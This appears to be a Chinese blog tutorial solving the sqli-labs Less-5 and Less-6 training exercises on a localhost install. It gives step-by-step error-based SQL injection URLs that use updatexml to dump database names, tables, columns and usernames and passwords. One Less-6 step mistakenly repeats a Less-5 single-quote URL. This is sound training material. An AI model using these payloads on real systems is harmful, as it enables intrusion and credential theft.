(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程

目录

一、错误注入(手工)SQL注入基本步骤:

二、Less5(GET-Double injection-Single Quotes -String)

2.1、简介:(单引号+报错注入)

2.2、第一步:注入点测试

2.3、第二步:查询字段数

2.4、第三步:查看数据库基本信息

2.5、第四步:爆数据库

2.6、第五步:爆数据库表

2.7、第六步:爆字段

2.8、第七步:爆数据

三、Less6(GET-Double injection-Double Quotes -String)

 3.1、简介:(双引号+报错注入)

3.2、第一步:注入点测试

3.3、第二步:查询字段数

3.4、第三步:查看数据库基本信息

3.5、第四步:爆数据库

3.6、第五步:爆数据库表

3.7、第六步:爆字段

3.8、第七步:爆数据


一、错误注入(手工)SQL注入基本步骤:

第一步:注入点测试

第二步:查询字段数

第三步:查询数据库的基本信息

第四步:爆数据库名

第五步:爆数据库表

第六步:爆字段

第七步:爆数据



二、Less5(GET-Double injection-Single Quotes -String)

2.1、简介:(单引号+报错注入)

请求方法:GET

方法:错误回显

2.2、第一步:注入点测试

测试id=1,没有显示数据 

http://localhost:8080/sqli-labs-master/Less-5/
?id=1

将数据扩大到1000了,仍没有显示位

所以不能使用联合查询

http://localhost:8080/sqli-labs-master/Less-5/
?id=1000

 加上单引号后,发现会返回报错信息,且可以知道是单引号闭合的

可以考虑使用报错注入

2.3、第二步:查询字段数

输入为2时,报错字段数不符

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and 1=0 union select 1,2--+

 当为3的时候,就没有报错,字段数正确

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and 1=0 union select 1,2,3--+

2.4、第三步:查看数据库基本信息

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

2.5、第四步:爆数据库

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

注:

在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错

2.6、第五步:爆数据库表

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

2.7、第六步:爆字段

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1) --+
 

2.8、第七步:爆数据

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),31,32),0x7e),1)--+

将31,32继续往后移,就可以获得,更多的数据



三、Less6(GET-Double injection-Double Quotes -String)

 3.1、简介:(双引号+报错注入)

请求方法:GET

方法:错误回显

3.2、第一步:注入点测试

测试id=1,没有显示数据 

http://localhost:8080/sqli-labs-master/Less-6/
?id=1 

将数据扩大到1000了,仍没有显示位

所以不能使用联合查询

http://localhost:8080/sqli-labs-master/Less-6/
?id=1000

 加上单引号后,没有报错,说明不是单引号闭合

加上双引号后,发现会返回报错信息,且可以知道是双引号闭合的

可以考虑使用报错注入

3.3、第二步:查询字段数

输入为2时,报错字段数不符

http://localhost:8080/sqli-labs-master/Less-6/
?id=1" and 1=0 union select 1,2--+

 当为3的时候,就没有报错,字段数正确

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and 1=0 union select 1,2,3--+

3.4、第三步:查看数据库基本信息

http://localhost:8080/sqli-labs-master/Less-6/
?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

3.5、第四步:爆数据库

http://localhost:8080/sqli-labs-master/Less-6/
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

注:

在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错

3.6、第五步:爆数据库表

http://localhost:8080/sqli-labs-master/Less-6/
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) --+

3.7、第六步:爆字段

http://localhost:8080/sqli-labs-master/Less-6/
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

3.8、第七步:爆数据

http://localhost:8080/sqli-labs-master/Less-6/
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+

http://localhost:8080/sqli-labs-master/Less-6/
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),31,32),0x7e),1)--+

将31,32继续往后移,就可以获得,更多的数据

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值